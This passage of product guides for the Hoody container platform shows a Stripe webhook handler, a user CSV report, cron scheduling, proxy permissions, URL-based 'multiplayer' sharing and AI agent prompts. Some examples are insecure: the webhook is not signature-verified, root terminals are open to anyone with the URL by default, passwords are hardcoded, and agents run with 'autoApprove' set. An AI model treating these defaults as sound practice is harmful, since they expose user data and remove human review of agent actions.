    // @cors *
    // @timeout 10000
    // @concurrent false

    const SQLITE = "${sqliteUrl}";
    const NOTIFY = "${notificationUrl}";

    await fetch(SQLITE + "/api/v1/sqlite/db?db=/hoody/databases/app.db", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        transaction: [{
          query: "INSERT INTO webhook_events (source, event_type, payload, received_at) VALUES (?, ?, ?, ?)",
          values: ["stripe", req.body.type, JSON.stringify(req.body), new Date().toISOString()]
        }]
      })
    });

    if (req.body.type === "payment_intent.succeeded") {
      const amount = req.body.data.object.amount / 100;
      await fetch(NOTIFY + "/api/v1/notifications/notify", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          summary: "Payment Received",
          body: amount + " " + req.body.data.object.currency.toUpperCase() + " payment successful",
          display: "0",
          urgency: "normal"
        })
      });
    }

    return { received: true, event: req.body.type };
      `,
      createDirs: true,
    });
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-exec-1.$SERVER.containers.hoody.icu/api/v1/exec/scripts/write" \
      -H "Content-Type: application/json" \
      -d '{
        "path": "webhooks/stripe.ts",
        "content": "// @mode serverless\n// @cors *\n// @timeout 10000\n// @concurrent false\n\nconst SQLITE = \"https://PROJECT-CONTAINER-sqlite-1.SERVER.containers.hoody.icu\";\n\nawait fetch(SQLITE + \"/api/v1/sqlite/db?db=/hoody/databases/app.db\", {\n  method: \"POST\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: JSON.stringify({\n    transaction: [{\n      query: \"INSERT INTO webhook_events (source, event_type, payload, received_at) VALUES (?, ?, ?, ?)\",\n      values: [\"stripe\", req.body.type, JSON.stringify(req.body), new Date().toISOString()]\n    }]\n  })\n});\n\nreturn { received: true, event: req.body.type };",
        "createDirs": true
      }'
    ```
  


Point Stripe's webhook URL at:

```
https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/webhooks/stripe
```

Every webhook is stored in SQLite. Payment successes and failures trigger push notifications to your phone. The `@concurrent false` magic comment ensures webhooks are processed one at a time -- no race conditions, no duplicate processing.


Notice the `@concurrent false` magic comment. For webhooks, serial processing prevents race conditions. For high-throughput endpoints, increase it: `@concurrent 10` allows 10 parallel executions.


---

## Build 3: Report Generator

Generate CSV reports from database queries and serve them via hoody-files.

### The Script


  
    ```bash
    SQLITE="https://$PROJECT_ID-$CONTAINER_ID-sqlite-1.$SERVER.containers.hoody.icu"
    FILES="https://$PROJECT_ID-$CONTAINER_ID-files-1.$SERVER.containers.hoody.icu"

    hoody exec scripts write \
      --path "reports/weekly-users.ts" \
      --content "// @mode serverless\n// @cors reflective\n// @timeout 30000\n\nconst SQLITE = \"$SQLITE\";\nconst FILES = \"$FILES\";\n\nconst result = await fetch(SQLITE + \"/api/v1/sqlite/db?db=/hoody/databases/app.db\", {\n  method: \"POST\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: JSON.stringify({ transaction: [{ query: \"SELECT name, email, role, status FROM users\" }] })\n}).then(r => r.json());\n\nconst rows = result.data || result;\nconst csv = \"Name,Email,Role,Status\\n\" + rows.map(r => [r.name, r.email, r.role, r.status].join(\",\")).join(\"\\n\");\n\nres.setHeader(\"Content-Type\", \"text/csv\");\nreturn csv;" \
      --create-dirs
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containerClient = await client.withContainer({
      id: CONTAINER_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    const sqliteUrl = `https://${PROJECT_ID}-${CONTAINER_ID}-sqlite-1.${SERVER}.containers.hoody.icu`;
    const filesUrl  = `https://${PROJECT_ID}-${CONTAINER_ID}-files-1.${SERVER}.containers.hoody.icu`;

    await containerClient.exec.scripts.write({
      path: 'reports/weekly-users.ts',
      content: `
    // @mode serverless
    // @cors reflective
    // @timeout 30000

    const SQLITE = "${sqliteUrl}";
    const FILES = "${filesUrl}";

    const result = await fetch(SQLITE + "/api/v1/sqlite/db?db=/hoody/databases/app.db", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        transaction: [{ query: "SELECT name, email, role, status, created_at, last_login FROM users ORDER BY last_login DESC" }]
      })
    }).then(r => r.json());

    const rows = result.data || result;
    const headers = "Name,Email,Role,Status,Created,Last Login";
    const csvRows = rows.map(r =>
      [r.name, r.email, r.role, r.status, r.created_at, r.last_login].join(",")
    );
    const csv = headers + "\\n" + csvRows.join("\\n");

    // Upload is PUT /api/v1/files/{path} with the raw file content as the body.
    const filename = "weekly-report-" + new Date().toISOString().split("T")[0] + ".csv";
    await fetch(FILES + "/api/v1/files/hoody/storage/reports/" + filename, {
      method: "PUT",
      headers: { "Content-Type": "text/csv" },
      body: csv
    });

    res.setHeader("Content-Type", "text/csv");
    res.setHeader("Content-Disposition", "attachment; filename=" + filename);
    return csv;
      `,
      createDirs: true,
    });
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-exec-1.$SERVER.containers.hoody.icu/api/v1/exec/scripts/write" \
      -H "Content-Type: application/json" \
      -d '{
        "path": "reports/weekly-users.ts",
        "content": "// @mode serverless\n// @cors reflective\n// @timeout 30000\n\nconst SQLITE = \"https://PROJECT-CONTAINER-sqlite-1.SERVER.containers.hoody.icu\";\n\nconst result = await fetch(SQLITE + \"/api/v1/sqlite/db?db=/hoody/databases/app.db\", {\n  method: \"POST\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: JSON.stringify({ transaction: [{ query: \"SELECT name, email, role, status FROM users\" }] })\n}).then(r => r.json());\n\nconst rows = result.data || result;\nconst csv = \"Name,Email,Role,Status\\n\" + rows.map(r => [r.name, r.email, r.role, r.status].join(\",\")).join(\"\\n\");\n\nres.setHeader(\"Content-Type\", \"text/csv\");\nreturn csv;",
        "createDirs": true
      }'
    ```
  


Hit the URL and download the report:

```bash
curl -o report.csv "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/reports/weekly-users"
```

The report is also saved to the filesystem via hoody-files, creating an archive of historical reports.

### Automate with hoody-cron

Run the report automatically every Friday:


  
    ```bash
    hoody cron entries create root \
      --schedule "0 9 * * 5" \
      --command "curl -s https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/reports/weekly-users > /dev/null" \
      --comment "Weekly user report generation"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containerClient = await client.withContainer({
      id: CONTAINER_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    const execUrl = `https://${PROJECT_ID}-${CONTAINER_ID}-exec-1.${SERVER}.containers.hoody.icu`;

    await containerClient.cron.entries.create('root', {
      schedule: '0 9 * * 5',  // Every Friday at 9 AM
      command: `curl -s ${execUrl}/reports/weekly-users > /dev/null`,
      comment: 'Weekly user report generation',
    });
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-cron-1.$SERVER.containers.hoody.icu/users/root/entries" \
      -H "Content-Type: application/json" \
      -d '{
        "schedule": "0 9 * * 5",
        "command": "curl -s https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/reports/weekly-users > /dev/null",
        "comment": "Weekly user report generation"
      }'
    ```
  


Every Friday at 9 AM, the report generates and saves to the filesystem. No crontab editing. No server maintenance. An HTTP call configured the schedule.

---

## Access Control with Proxy Permissions

Internal tools should not be public. Lock them down:


  
    ```bash
    # Password protect the container
    # Writes are optimistic-concurrency guarded: pass the current file_version via --if-match
    hoody containers proxy permissions replace -c $CONTAINER_ID \
      --project $PROJECT_ID \
      --if-match "$(hoody containers proxy permissions get --container $CONTAINER_ID --field file_version)" \
      --groups '{"team": {"type": "password", "password": "internal-tools-2026"}}' \
      --permissions '{}'

    # Or restrict to office IP
    hoody containers proxy permissions replace -c $CONTAINER_ID \
      --project $PROJECT_ID \
      --if-match "$(hoody containers proxy permissions get --container $CONTAINER_ID --field file_version)" \
      --groups '{"office": {"type": "ip", "range": "203.0.113.0/24"}}' \
      --permissions '{}'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Writes need an If-Match precondition (the current file_version is returned
    // as a header by GET). Pass it via the `ifMatch` option, e.g. { ifMatch: 'file:v1' }.
    await client.api.proxyPermissionsContainer.replace(CONTAINER_ID, {
      project: PROJECT_ID,
      container: CONTAINER_ID,
      groups: { team: { type: 'password', password: 'internal-tools-2026' } },
      permissions: { team: { terminal: true, files: true, display: true, exec: true, sqlite: true, http: true } },
      default: 'deny'
    }, { ifMatch: 'file:v1' });
    ```
  
  
    ```bash
    # Writes require an If-Match precondition (read the current file_version via GET first)
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v1" \
      -d '{"project":"'$PROJECT_ID'","container":"'$CONTAINER_ID'","groups":{"team":{"type":"password","password":"internal-tools-2026"}},"permissions":{"team":{"terminal":true,"files":true,"display":true,"exec":true,"sqlite":true,"http":true}},"default":"deny"}'
    ```
  


Now all services -- exec endpoints, SQLite UI, terminal access -- require the password. One setting protects everything.

---

## Share with Your Team

Share the URL. That is the entire distribution process.

```
Admin Dashboard:    https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/admin/dashboard
Webhook Processor:  https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/webhooks/stripe
Weekly Report:      https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/reports/weekly-users
SQLite Web UI:      https://PROJECT-CONTAINER-sqlite-1.SERVER.containers.hoody.icu
File Browser:       https://PROJECT-CONTAINER-files-1.SERVER.containers.hoody.icu
```

Or create clean aliases:

```bash
hoody proxy create --container-id $CONTAINER_ID --program exec --index 1 --alias "admin"
# Now accessible at: admin.hoody.icu/admin/dashboard
```

Your team opens the URL. The tool is there. No deployment, no installation, no training on how to access it. If they can open a browser, they can use the tool.

---

## The Pattern

Every internal tool on Hoody follows the same pattern:

1. **Write a hoody-exec script** -- The logic lives in a file that becomes a URL
2. **Use hoody-sqlite for data** -- Queries and storage through HTTP
3. **Use hoody-notifications for alerts** -- Push notifications when events occur
4. **Use hoody-files for output** -- Reports, exports, archives
5. **Use hoody-cron for scheduling** -- Automated execution on a schedule
6. **Use proxy permissions for access** -- Password or IP restriction
7. **Share the URL** -- Distribution complete

No servers to manage. No frameworks to learn. No deployment pipelines to configure. No SSL certificates to renew. No Docker images to build. No Kubernetes manifests to write.

Just functions that become URLs, talking to databases that are URLs, saving files that are URLs, on a schedule that is configured via URL.


Your first internal tool takes 10 minutes. Your second takes 5 because the container is already set up. By your tenth tool, you have an entire internal platform -- dashboard, webhooks, reports, automations -- all in one container, all accessible via URLs, all managed through HTTP.


---

## What's Next

- **[Building a Full-Stack Application](/guides/full-stack-app/)** -- Scale from internal tool to customer-facing product
- **[Deploying Autonomous AI Agents](/guides/ai-agents/)** -- Let AI build your next internal tool
- **[Hoody Exec Deep Dive](/kit/exec/)** -- Master the script-to-API primitive
- **[SQLite via HTTP](/kit/sqlite/)** -- Advanced database operations

---

# Multiplayer by Default

**Page:** guides/multiplayer

[Download Raw Markdown](./guides/multiplayer.md)

---

# Multiplayer by Default

**For thirty years, "collaboration" on computers has meant taking turns.** Screen sharing where one person drives and everyone else watches. Pair programming where two people share one keyboard. Code reviews where changes move through a queue, one at a time.

Google Docs proved that real-time collaboration does not require turn-taking. Multiple cursors. Simultaneous editing. Instant visibility. It changed how the world writes documents.

Hoody does the same thing for entire computers.

Share a URL. Everyone is in. Multiple people in the same terminal, the same file system, the same database, the same browser, the same desktop. Not watching each other work — working together, simultaneously, in the same environment. One person in Hoody OS in the browser, another via `ssh hoody.com` on a plane — same workspace, same state, real-time.



This is not a feature we bolted on. It is the natural consequence of making everything HTTP. When every service is a URL, multiplayer is automatic. And when the OS itself runs on a container, sharing the OS is as natural as sharing any other URL.

---

## How Sharing Works

Every Hoody service has a URL. URLs are shareable by nature. That is the entire mechanism.

```
Your terminal:     https://PROJECT-CONTAINER-terminal-1.SERVER.containers.hoody.icu
Your display:      https://PROJECT-CONTAINER-display-1.SERVER.containers.hoody.icu
Your VS Code:      https://PROJECT-CONTAINER-code-1.SERVER.containers.hoody.icu
Your database:     https://PROJECT-CONTAINER-sqlite-1.SERVER.containers.hoody.icu
Your agent:        https://PROJECT-CONTAINER-workspaces-1.SERVER.containers.hoody.icu
```

Send any of those URLs to someone. They open it in their browser. They are now in your environment. No installation. No invitation system. No account creation at your end. No VPN. No SSH key exchange.


By default, containers are open -- anyone with the URL can access them. This is intentional. Collaboration should not require permission ceremonies. When you are ready for production, you add access controls. The order matters: open first, secure when ready.


---

## Multiplayer Terminals

Multiple people in the same terminal. Each person has a colored cursor. Everyone sees every keystroke in real-time.

### What It Looks Like

```
┌─────────────────────────────────────────────────┐
│ root@container:~#                               │
│                                                 │
│ $ npm test                     (Alice - blue)   │
│ Running 47 tests...                             │
│ ✓ All tests passed                              │
│                                                 │
│ $ git status                   (Bob - green)    │
│ On branch feature/auth                          │
│ modified: src/auth.ts                           │
│                                                 │
│ $ cat src/auth.ts              (Agent - orange) │
│ // AI reviewing the file...                     │
│                                                 │
└─────────────────────────────────────────────────┘
```

Three participants -- two humans and an AI agent -- in the same terminal session. Each with a distinct cursor color. Everyone sees everything. No one waits for a turn.

### Set It Up

There is nothing to set up. Open the terminal URL from multiple browsers:


  
    ```bash
    # Share the terminal URL -- that's the entire setup
    hoody containers get $CONTAINER_ID

    # Output:
    # URL: https://PROJECT-CONTAINER-terminal-1.SERVER.containers.hoody.icu
    # Status: running
    # Connected users: 0
    # Share this URL for multiplayer access
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Get the terminal URL
    const container = await client.api.containers.get(CONTAINER_ID);

    const terminalUrl = `https://${container.data.project_id}-${container.data.id}-terminal-1.${container.data.server_name}.containers.hoody.icu`;

    // Share this URL -- anyone who opens it joins the terminal session
    console.log('Share this URL:', terminalUrl);
    ```
  
  
    ```bash
    # Get container details to construct the terminal URL
    curl "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # The terminal URL is:
    # https://{project_id}-{container_id}-terminal-1.{server}.containers.hoody.icu
    # Share it. Anyone who opens it is in.
    ```
  


### Multiple Terminal Instances

Need separate terminal sessions for different tasks? Use instance numbers:

```
terminal-1  → Alice and Bob debug the backend together
terminal-2  → Carol and the AI agent work on the frontend
terminal-3  → Dave monitors logs independently
terminal-4  → Shared team standup terminal for commands
```

Each instance is a separate URL. Each is independently shareable. Each supports multiple simultaneous users.

---

## Shared Displays

Shared displays bring graphical application sharing to the same level. Multiple people see the same desktop, the same browser, the same GUI application -- and can interact with it simultaneously.

```
Display URL:  https://PROJECT-CONTAINER-display-1.SERVER.containers.hoody.icu

Alice sees:   The React app running in the container's Chrome
Bob sees:     The exact same view, in real-time
Carol clicks: A button in the app -- Alice and Bob see the result instantly
```

This is not screen sharing. There is no video feed, no compression artifacts, no lag from encoding. Everyone is connected to the same display server. The experience is identical for every participant.

### Use Cases for Shared Displays

**Live debugging:** Everyone sees the same browser. One person triggers the bug. Everyone watches the network tab, the console, the DOM simultaneously.

**Design review:** A designer opens Figma in the container's browser. The team reviews together, pointing at elements, making live changes.

**AI observation:** The agent runs browser automation in display-1 while the team watches. The agent navigates, clicks, fills forms. The team verifies the behavior is correct.

---

## Collaborative File Editing

hoody-code gives everyone VS Code in a browser. Multiple people editing the same codebase simultaneously.

```
https://PROJECT-CONTAINER-code-1.SERVER.containers.hoody.icu
```

Open this URL from different browsers. Each person gets a full VS Code instance connected to the same filesystem. File changes propagate instantly.


Unlike Google Docs where you see other cursors in the same document, hoody-code gives each user their own VS Code instance viewing the same filesystem. When Alice saves a file, Bob's instance picks up the change. This means you can work on different files simultaneously without conflict.


---

## Workspace Sharing

A hoody-workspace is a floating desktop that can display multiple containers and services in one view. Share a workspace URL and the entire layout -- terminals, displays, code editors, databases -- becomes a shared experience.

```
┌──────────────────────────────────────────────────────────────┐
│  SHARED WORKSPACE: "Team Dashboard"                          │
│                                                              │
│  ┌─────────────────────┐  ┌──────────────────────────────┐   │
│  │   Terminal-1         │  │   Display-1                  │   │
│  │   (Backend logs)     │  │   (App preview)              │   │
│  │                      │  │                              │   │
│  │   Alice & Bob here   │  │   Everyone sees this         │   │
│  └─────────────────────┘  └──────────────────────────────┘   │
│                                                              │
│  ┌─────────────────────┐  ┌──────────────────────────────┐   │
│  │   Code-1             │  │   SQLite-1                   │   │
│  │   (VS Code)          │  │   (Database browser)         │   │
│  │                      │  │                              │   │
│  │   Carol editing      │  │   Dave checking data         │   │
│  └─────────────────────┘  └──────────────────────────────┘   │
│                                                              │
└──────────────────────────────────────────────────────────────┘
```

One URL. Four services. Four participants. Everything in sync.

This is what Google Docs did for documents, applied to entire computing environments. The workspace is not a static screenshot -- it is a live, interactive, multiplayer operating system in your browser.

---

## Permission Layers

Open-by-default does not mean open-forever. When you are ready to control access, Hoody provides granular proxy permissions:


  
    ```bash
    # Set a password on the container
    # Writes are optimistic-concurrency guarded: pass the current file_version via --if-match
    hoody containers proxy permissions replace --container $CONTAINER_ID \
      --project $PROJECT_ID \
      --if-match "$(hoody containers proxy permissions get --container $CONTAINER_ID --field file_version)" \
      --groups '{"team": {"type": "password", "password": "team-access-2026"}}' \
      --permissions '{}'

    # Or restrict by IP (each IP group takes a single CIDR; add multiple groups for multiple ranges)
    hoody containers proxy permissions replace --container $CONTAINER_ID \
      --project $PROJECT_ID \
      --if-match "$(hoody containers proxy permissions get --container $CONTAINER_ID --field file_version)" \
      --groups '{"office-vpn": {"type": "ip", "range": "203.0.113.50/32"}, "office-lan": {"type": "ip", "range": "198.51.100.0/24"}}' \
      --permissions '{}'

    # Or use realm-based access tokens
    hoody containers proxy permissions replace --container $CONTAINER_ID \
      --project $PROJECT_ID \
      --if-match "$(hoody containers proxy permissions get --container $CONTAINER_ID --field file_version)" \
      --groups '{"realm": {"type": "token", "value": "'$REALM_TOKEN'"}}' \
      --permissions '{}'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Writes need an If-Match precondition (the current file_version is returned
    // as a header by GET). Pass it via the `ifMatch` option, e.g. { ifMatch: 'file:v1' }.

    // Password protection
    await client.api.proxyPermissionsContainer.replace(CONTAINER_ID, {
      project: PROJECT_ID,
      container: CONTAINER_ID,
      groups: { team: { type: 'password', password: 'team-access-2026' } },
      permissions: { team: { terminal: true, files: true, display: true, http: true } },
      default: 'deny'
    }, { ifMatch: 'file:v1' });

    // Or IP restriction
    await client.api.proxyPermissionsContainer.replace(CONTAINER_ID, {
      project: PROJECT_ID,
      container: CONTAINER_ID,
      groups: {
        office_primary: { type: 'ip', range: '203.0.113.50/32' },
        office_subnet: { type: 'ip', range: '198.51.100.0/24' }
      },
      permissions: {
        office_primary: { terminal: true, files: true, display: true, http: true },
        office_subnet: { terminal: true, files: true, display: true, http: true }
      },
      default: 'deny'
    }, { ifMatch: 'file:v1' });
    ```
  
  
    ```bash
    # Password protection
    # Writes require an If-Match precondition (read the current file_version via GET first)
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v1" \
      -d '{"project":"'$PROJECT_ID'","container":"'$CONTAINER_ID'","groups":{"team":{"type":"password","password":"team-access-2026"}},"permissions":{"team":{"terminal":true,"files":true,"display":true,"http":true}},"default":"deny"}'

    # Or IP restriction
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -H "If-Match: file:v1" \
      -d '{"project":"'$PROJECT_ID'","container":"'$CONTAINER_ID'","groups":{"office_primary":{"type":"ip","range":"203.0.113.50/32"},"office_subnet":{"type":"ip","range":"198.51.100.0/24"}},"permissions":{"office_primary":{"terminal":true,"files":true,"display":true,"http":true},"office_subnet":{"terminal":true,"files":true,"display":true,"http":true}},"default":"deny"}'
    ```
  


**The progression:**

1. **Development** -- Wide open. Share the URL, everyone is in. Maximum collaboration velocity.
2. **Staging** -- Password protected. Team members know the password. External parties need to ask.
3. **Production** -- IP restricted or token-gated. Only authorized traffic reaches the services.

Permissions apply at the proxy level, which means they protect ALL services in the container simultaneously. Set once, enforced everywhere.

---

## Real-Time Collaboration Patterns

### Pattern 1: Pair Programming

Two developers. One container. Two browser tabs.

```
Developer A: Opens code-1 URL → Edits src/components/Header.tsx
Developer B: Opens code-1 URL → Edits src/components/Footer.tsx
Both:        Open terminal-1 URL → See each other's commands
Both:        Open display-1 URL → See the app update live
```

No screen sharing latency. No "let me take control." Both have full access to everything. The filesystem is the single source of truth.

### Pattern 2: Client Demo

Show a client the work-in-progress. Live. Interactive.

```
You:    Open workspace URL → Present the running application
Client: Opens the same URL → Clicks around, tests features, asks questions
You:    Open terminal-1 → Make live changes in response to feedback
Client: Sees changes immediately in display-1
```

The client does not install anything. They do not need an account. They open a URL in their browser. That is the entire onboarding process.

### Pattern 3: Team Debugging

Production issue. Everyone needs to see the same thing at the same time.

```
Lead:       Opens terminal-1 → Tails the error logs
Backend:    Opens terminal-2 → Queries the database for corrupted records
Frontend:   Opens display-1  → Reproduces the bug in the browser
DevOps:     Opens terminal-3 → Checks network configuration
Everyone:   Sees each other's terminals in the shared workspace
```

Four people. Four perspectives. One container. Real-time coordination without a single Zoom call.

### Pattern 4: AI + Human Collaboration

The most powerful pattern: humans and AI agents working together in the same container.


  
    ```bash
    # Start an AI task via the agent prompt endpoint
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{
        "parts": [{"type": "text", "text": "Implement the user profile page based on the design in /docs/profile-mockup.png"}],
        "autoApprove": true
      }'

    # While the agent works, you and your team observe in real-time:
    # terminal-1 URL → Watch the agent execute commands
    # code-1 URL     → Watch the agent write code
    # display-1 URL  → Watch the app update
    # agent-1 URL    → Chat with the agent, provide guidance
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Using raw fetch to show the HTTP surface directly.
    // The same endpoints are also available via client.agent.* in the SDK.
    const agentBase = `https://${PROJECT_ID}-${CONTAINER_ID}-workspaces-1.${SERVER}.containers.hoody.icu`;
    const response = await fetch(`${agentBase}/api/v1/agent/prompt/sync`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        parts: [{ type: 'text', text: 'Implement the user profile page based on the design in /docs/profile-mockup.png' }],
        autoApprove: true,
      }),
    });
    const result = await response.json();

    // Team observes via URLs:
    // terminal-1 → Agent commands in real-time
    // code-1     → Code changes as they happen
    // display-1  → App preview updates live
    // agent-1    → Chat interface for guidance
    ```
  
  
    ```bash
    # Start AI task
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{
        "parts": [{"type": "text", "text": "Implement the user profile page based on the design in /docs/profile-mockup.png"}],
        "autoApprove": true
      }'

    # Team watches via service URLs:
    # terminal-1.containers.hoody.icu  → Agent's commands
    # code-1.containers.hoody.icu      → Code changes
    # display-1.containers.hoody.icu   → Live preview
    # agent-1.containers.hoody.icu     → Chat with agent
    ```
  


The team watches the AI work. Someone notices a mistake and corrects the agent through the chat interface. Someone else opens the terminal and fixes a configuration issue the agent missed. The agent continues building, now on the right track. Human judgment and AI execution, simultaneously.

---

## Use Instance Numbers for Organization

When multiple people and agents share a container, use instance numbers to avoid stepping on each other:

```
terminal-1  → Team lead (oversight, commands)
terminal-2  → AI agent (automated execution)
terminal-3  → Backend developer (database queries)
terminal-4  → Frontend developer (build tools)

display-1   → App preview (shared)
display-2   → AI agent's browser automation (shared observation)

agent-1     → Primary AI agent (feature work)
agent-2     → Secondary AI agent (testing)

code-1      → Developer A's VS Code
code-2      → Developer B's VS Code
```

All instances share the same container filesystem and network. But each instance is a separate access point that can be independently shared.

---

## The Multiplayer Advantage

Traditional collaboration tools add layers on top of single-user systems. Hoody's multiplayer is not a layer -- it is the architecture itself.

| Traditional | Hoody |
|------------|-------|
| Install screen sharing software | Share the URL |
| One person drives at a time | Everyone has full control |
| Video encoding introduces lag | Direct HTTP connection, no encoding |
| Requires same time zone for effectiveness | Asynchronous access to the same URL |
| Setup per collaboration session | No setup ever -- URLs are permanent |
| Cannot share with AI agents | Agents use the same URLs as humans |

The URL IS the collaboration mechanism. There is nothing to configure, nothing to install, nothing to negotiate. Open the URL. You are in.

---

## What's Next

- **[Building a Full-Stack Application](/guides/full-stack-app/)** -- Build something together
- **[The Vibe Coding Revolution](/guides/vibe-coding/)** -- AI + human collaborative development
- **[Deploying Autonomous AI Agents](/guides/ai-agents/)** -- Multi-agent orchestration patterns
- **[Proxy Permissions](/foundation/proxy/permissions/)** -- Fine-grained access control

---

# The Vibe Coding Revolution

**Page:** guides/vibe-coding

[Download Raw Markdown](./guides/vibe-coding.md)

---

# The Vibe Coding Revolution

**Software development was supposed to get easier. Instead, we got Kubernetes, Terraform, Docker Compose, CI/CD pipelines, infrastructure-as-code, and a thousand YAML files standing between an idea and a running application.**

Vibe coding is the rejection of all that ceremony.

You open **Hoody OS** in your browser — or `ssh hoody.com` (the Hoody Terminal Browser gateway) from any terminal. You talk to an AI. You watch it build your app in real-time. You guide it with words, not configuration files. When it looks right, you ship it. The entire creative process happens in a conversation, and the infrastructure is just URLs that already work.

This is not a fantasy. This is what happens when every tool is an HTTPS endpoint, AI already speaks HTTP fluently, and the whole thing runs on servers you actually own — not someone else's sandbox. With a team that's spent years building privacy-first infrastructure behind Hoody, your code stays yours.



---

## What Is Vibe Coding?

Vibe coding is conversational development. You describe what you want in natural language. An AI agent writes the code, installs the dependencies, configures the services, runs the tests, and deploys the result. You watch, guide, and intervene when the AI needs human judgment.

All of this happens inside **Hoody OS Workspaces** — a floating-window desktop where you arrange your AI chat, terminal, code editor, and live preview side by side. Or from `ssh hoody.com` if you prefer a terminal-only workflow — same capabilities, rendered as a TUI.

The term captures the experience precisely: you set the vibe, the AI does the coding.

**What makes Hoody the ideal platform for this:**

- **hoody-agent** -- An autonomous coding agent controllable via HTTP
- **hoody-code** -- VS Code running in your browser, no installation
- **hoody-terminal** -- Shell access from anywhere, multiple instances
- **hoody-display** -- Live preview of GUI applications in real-time
- **hoody-exec** -- Scripts that become API endpoints instantly
- **hoody-sqlite** -- Database accessible through HTTP calls
- **Snapshots** -- Checkpoint at any moment, rollback in seconds

Every tool the AI needs is already a URL. Every tool you need to observe the AI is already a URL. The entire workflow lives in browser tabs.

---

## The Workflow

### 1. Open Your Workspace

Open three browser tabs. That is your entire development environment:

```
Tab 1: https://PROJECT-CONTAINER-code-1.SERVER.containers.hoody.icu
       └── VS Code in your browser (watch AI write code here)

Tab 2: https://PROJECT-CONTAINER-terminal-1.SERVER.containers.hoody.icu
       └── Terminal (watch AI execute commands here)

Tab 3: https://PROJECT-CONTAINER-display-1.SERVER.containers.hoody.icu
       └── Live preview (watch your app update in real-time)
```

Or open hoody-workspaces and see everything in one window:

```
https://PROJECT-CONTAINER-workspaces-1.SERVER.containers.hoody.icu
       └── All services arranged in panels, drag-and-drop layout
```

No local installation. No IDE plugins. No Docker running on your laptop eating your battery. Just URLs in a browser.

### 2. Launch Anything with Ctrl+Shift+K

Inside Hoody OS, press **Ctrl+Shift+K** to open the command palette. Type what you want — "Jupyter", "Postgres", "Redis" — and it runs. Frecency-ranked so the tools you reach for most appear first. No terminal ceremony, no install scripts, no docker-compose. Just type and go. Keep the vibe.

### 3. Talk to the Agent

Open the agent interface and describe what you want:


  
    ```bash
    # The `hoody agent` CLI has subcommands (prompt, sessions, workspaces, ...).
    # You can also drive it directly via HTTP to the agent service URL.
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-workspaces-1.$SERVER.containers.hoody.icu/api/v1/agent/prompt/sync" \
      -H "Content-Type: application/json" \
      -d '{
        "parts": [{ "type": "text", "text": "Build a real-time dashboard that shows server metrics. Use React with Tailwind CSS for the frontend. Create a backend API with hoody-exec that reads system stats. Store historical data in SQLite. Auto-refresh every 5 seconds." }],
        "autoApprove": true
      }'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Using raw fetch to show the HTTP surface directly.
    // The same endpoints are also available via client.agent.* in the SDK.
    const response = await fetch(
      `https://${PROJECT_ID}-${CONTAINER_ID}-workspaces-1.${SERVER}.containers.hoody.icu/api/v1/agent/prompt/sync`,
      {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
